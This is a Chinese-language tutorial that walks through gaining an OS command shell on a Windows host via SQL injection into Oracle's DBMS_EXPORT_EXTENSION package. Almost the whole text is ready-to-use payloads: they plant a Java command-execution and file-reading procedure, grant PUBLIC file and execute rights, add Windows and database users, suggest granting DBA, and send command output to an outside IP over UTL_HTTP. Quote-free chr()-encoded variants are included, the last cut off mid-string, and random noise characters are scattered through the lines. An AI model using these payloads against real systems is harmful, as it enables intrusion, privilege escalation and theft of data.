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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。8 g4 `8 Z/ @9 ~: h
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....), x: @, `. a9 |2 j
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的形式即可。(用" 'a'|| "是为了让语句返回true值)
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/ h, |9 U8 e) v$ |) A! r: `* P. l语句有点长,可能要用post提交。
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以下是各个步骤:
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1.创建包: C: B; J! g1 r: }7 \) s6 E7 t
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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. H' d3 g; @/ X. ^0 ]/xxx.jsp?id=1 and '1'<>'a'||(1 a! \! I8 \' I+ t6 _% R
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 H' _& \ V) `2 v, @- jcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(8 D3 e4 B3 _) ^" U3 I# @$ @# H2 F
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}1 o* ~, R# A: c% c/ O
}'''';END;'';END;--','SYS',0,'1',0) from dual
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6 n) r5 \+ N* z2 b% z------------------------
. Y6 F5 a) f) A3 t% b+ J如果url有长度限制,可以把readFile()函数块去掉,即:, @( I( }- z- a% F
/xxx.jsp?id=1 and '1'<>'a'||(
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" t( Y/ [. ], o& u+ ^) Q6 Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 u$ h( L& ]& H$ G' _
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
5 z4 ~) P/ y' ^: P0 X3 U& Pnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}* I4 A b3 t$ _( s b
}'''';END;'';END;--','SYS',0,'1',0) from dual
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同时把后面步骤 提到的 对readFile()的处理语句去掉。+ H; a( B( h4 F) p
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2.赋Java权限
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. a" b8 Q u& n& bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual! u. E( _& J3 R* ]( f
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0 k4 ^. i# @$ y J# p, r3.创建函数
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% y2 w( A6 K+ E% sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ E! h" R* Y1 |% ~
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 Q8 ^) ^% V; D8 J# W0 @, R
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual' F0 }, M/ b1 H, L7 j9 Q; s
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4.赋public执行函数的权限* r% ]6 f Q3 [
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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6 y* B- `9 t* U$ z# cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual+ [8 B1 }, P- E+ F# r- H( s
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5.测试上面的几步是否成功% d6 _6 \- |. o4 Q4 [2 m
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0 z) a) u0 P6 J* m, ?select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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and '1'<>(
( d2 j# H! N5 ~2 jselect OBJECT_ID from all_objects where object_name ='LINXREADFILE', K# [9 q0 R2 X4 B& O2 }& r
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" B* s. \! N7 M6.执行命令:/ U, R. r. I4 w$ c4 {: T6 y
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/xxx.jsp?id=1 and '1'<>(* S5 |9 J+ R' \5 `8 M7 A
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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/xxx.jsp?id=1 and '1'<>(% u, V, ?8 R7 W) W. W" N* ~" n
select sys.LinxReadFile('c:/boot.ini') from dual% N- D! S4 Z1 v2 F# I
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。& t( I; ?& O" g- m. e9 u1 W% S
如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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0 `7 S9 i7 _) A0 |; {或者UTL_HTTP.request(:, R1 I) y2 S9 h0 K, O% W
5 Z1 t" i: W2 i6 C3 Y4 B/xxx.jsp?id=1 and '1'<>(! w6 x+ ~+ s: V& n' ^
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual5 P& V$ }9 b" I8 @0 y
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/xxx.jsp?id=1 and '1'<>(
9 O' Q. n# W; k5 VSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual/ U0 V- }. Q: n f8 \2 s: `
)
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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% v. X2 t0 ]: u0 t0 y; o--------------------
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. `% s9 z9 |- a9 O; t p6.内部变化
* `+ i9 g' _4 S+ x( E. e通过以下命令可以查看all_objects表达改变:% B$ n+ k) @6 Q& `' M
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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' D0 g+ S0 e9 Z4 U5 u7.删除我们创建的函数. Q3 a' S2 d9 S- l7 g& U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; ]! L# w0 Z+ V3 X _/ Y) X
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual6 H. i- ?1 W) e8 n: a5 A# `: Q/ \
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====================================================6 ]+ N6 y7 X- O
全文结束。谨以此文赠与我的朋友。4 n! c, U1 n1 i: y6 h( s
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linx
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2008.1.127 c0 D- Q$ n& A
linyujian@bjfu.edu.cn
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) M3 W a8 A m. B- e; c5 q======================================================================: a) E* y$ j0 @- v8 Q
$ q+ H! G+ }; C% _# B U测试漏洞的另一方法:
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创建oracle帐号:
4 \3 ]/ @* Q. @" t [ R) I. ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# u6 D) _. L0 J% Z7 iCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual. w8 _* o0 U( i) g# Q
2 }% H6 _; ?: v/ x! k$ `即:
) \7 X+ N, g- |8 t, g7 Z5 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),+ H1 E# v& u, j, R3 H
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual0 {8 w+ C- R0 M" [+ U; V
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确定漏洞存在:. `; y) ^+ U: n7 |9 W
1<>(
7 O4 D7 ]$ u* y1 O; ^( Z- f8 t7 eselect user_id from all_users where username='LINXSQL'
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给linxsql连接权限:
1 Z9 H2 O& N# m- I- h0 iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 y3 z% h4 |, f; a; }3 X2 \
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual# q! X- Q; R. Q7 @
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
\ q3 w$ o5 N8 F3 {drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual- ~7 r7 } x# P7 E* a' S1 Z
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======================
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- n# ?0 }) B2 }% P3 u2 `" E以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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8 S2 c! ^0 B0 v1.jsp?id=1 and '1'<>(1 N2 s2 V1 B; k1 z, N) d i
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': G2 _) o$ \, `6 W* G
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual0 l5 X$ i3 h: X' J
) and ...
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2 k/ B5 R# C" z1 j7 f1 z1.jsp?id=1 and '1'<>(
7 l' V+ G& N, |. Q* u% z; f* a: @) Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(
2 ?3 d+ F* q1 ]7 MSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
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5 ~5 Y+ U3 U- f' f) d1.jsp?id=1 and '1'<>(
q! W3 L) a6 p/ }# Z1 r) ^SELECT sys.Linx_Query('declare pragma* I3 h- ~1 x1 P6 F! ]; }
autonomous_transaction; begin execute immediate ''. |" Q8 a( L2 b% k
select 1 from dual0 v0 x( C* ?" @; l& T
''; commit; end;') from dual Z% _4 f/ V6 x6 W) B0 p5 q: K+ ^
) and ...
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& p7 m; N g$ Z& s( H多语句:
c1 U9 R/ J, u$ NSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual: D. A. E( n( ^3 g/ [1 U
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创建用户(除非当前用户有system权限,否则无法成功):
( U" p+ M- ~ Q! {# ~SELECT sys.Linx_Query('declare pragma
8 V2 V9 Y5 w$ Nautonomous_transaction; begin execute immediate ''/ B/ O" F/ P8 W
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
( [8 T8 [4 P7 j; D) n$ i% |- F) r* K''; commit; end;') from dual4 v0 e; m: u* f' J
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2 Z7 W1 }3 M& y# z' Y. I================, g" j o# L0 E. P% l
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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5 l0 }, M* z* d" m, e6 `" T1.创建函数
0 y* T: Q1 j- J M1 x" L9 {1 ?$ }select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 I+ p2 ^; y5 ?/ {+ z8 S* x! Ycreate or replace function Linx_Query (p2 i, U2 f5 s/ D% K0 J, v) o
varchar2) return number authid current_user is begin execute immediate* c) c+ @: t: M5 p7 l) B
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;9 b, e H6 [6 w
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如果有权限,以下语句应该允许正常
2 ?% S' ]8 j C5 xselect sys.linx_query('select 1 from dual') from dual;5 l+ G3 b% `5 w" M
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不然的话运行:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! G8 |% s% G2 O. G. Rgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual$ i5 L4 U0 r! d- f8 T. b& g/ x
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2.创建包
, x |( y/ o% d, b2 o; [' ESELECT sys.Linx_Query('declare pragma8 P3 s3 b6 q1 R& p( h Z- Q# D6 c) D) x5 `
autonomous_transaction; begin execute immediate ''
2 v: l0 x" T$ Mcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
/ ]1 c' P# m% l2 jnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
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0 Y0 ^) ~ _2 _3.创建函数. @9 i8 G: o" U6 M+ _1 S3 D2 F+ E
SELECT sys.Linx_Query('declare pragma
) G" {5 x8 S |' X# i1 t+ Kautonomous_transaction; begin execute immediate ''
# @* q$ X; s+ _! i, vcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
! k7 Z$ J. Y, Y; J: h( C. h- z8 T8 _( _) E
4.给权限
5 H5 {& u" \2 @' [1 i给用户SYSTEM执行权限:* k& j6 A8 X) \/ Z% i6 t5 s: T
! R3 y1 u* X1 G4 aSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual. {& y2 P% `5 \8 \* |
- T5 c- w2 \. X' P: F; R% O% p a4 ]1 j& O# |9 X, O
0 q, K& J, j5 X- P' m! P
5.执行函数
! I( N6 Z! u6 ^ x, n) Gselect RunCMD2('cmd /c dir') from dual( B+ G' q7 ^7 g* o. w2 M
- ~" x1 t5 v3 U6 ]3 h, o
: s' L% M4 \" P, l; ~
, y7 q- T' F3 B: R1 r7 H0 ^8 l' U0 s) z3 ~
2 V/ ~, m8 g0 ~( i6 |# b==================; _: o# a9 |; A1 A8 b4 Z5 u
================================
( ^7 ]$ x( o5 l: t \- Z: ?6 O- t% g" M0 p
以下是无 " ' " 版:! [/ A0 {+ a, h# ^* q6 E% I
7 K2 z( R* P& z/ y
以下是各个步骤:
. O H3 w: ~: ?! [( M* J$ w7 Z5 q, l- J0 ?" V3 v2 X4 [5 y
1.创建包
% e0 Z1 y8 P2 D; F0 r通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:! ~& j6 b( C$ A! F+ ^
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:6 ~0 c5 S7 ]% f
& G7 M7 J) Y. K/xxx.jsp?id=1 and chr(49)<>chr(50)||(5 _- c$ ]$ S9 Y+ y) k9 F! ^8 x
, B! O. E% X, @ T1 R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
* A+ q8 o$ X- H% a7 _+ Lchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
6 U6 C9 {1 O% w; |$ @( {. C1 t* ~; ~chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
% m: c$ W- F: V1 w! echr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||- ~; z: a% Q& l1 p& L
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
* o$ h4 g% d, ?3 w- Lchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
j, x- p+ Z% a. F& h4 u; C/ ichr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
2 D& o* k+ C9 Y) L8 a7 Y- o( ychr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||0 C7 F1 m, Y0 M
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||% J3 D- H5 e' O
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||2 B0 l& X3 C9 M) a3 K) w
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
0 F! P3 I5 X+ m- y$ schr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
% O8 b1 l r, W5 D( K$ j* p1 vchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||# w! n9 ^6 Z9 {# `2 l- P
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||* r' d0 p6 U- s; |/ V1 d7 N
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||" h" F, l$ {; D! ?
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||& p, o7 v. D8 K+ I" Y3 g
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
6 i: \+ G4 I% V: Rchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
7 g4 |- i% o& I7 p. m; Dchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
9 Y5 l; ~; Z: [3 t; jchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
! H- k$ H% b I$ a2 Ichr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||" z. u% m+ F* X s' G5 Y) m
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||, U; i& s/ X' j* ?: ?. i
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
4 h. `6 R$ ~0 {- i$ r( Q1 |chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||# d4 l* U% k3 I/ M8 |
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||: J+ f. X5 ^2 [+ g2 G+ P* ^
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
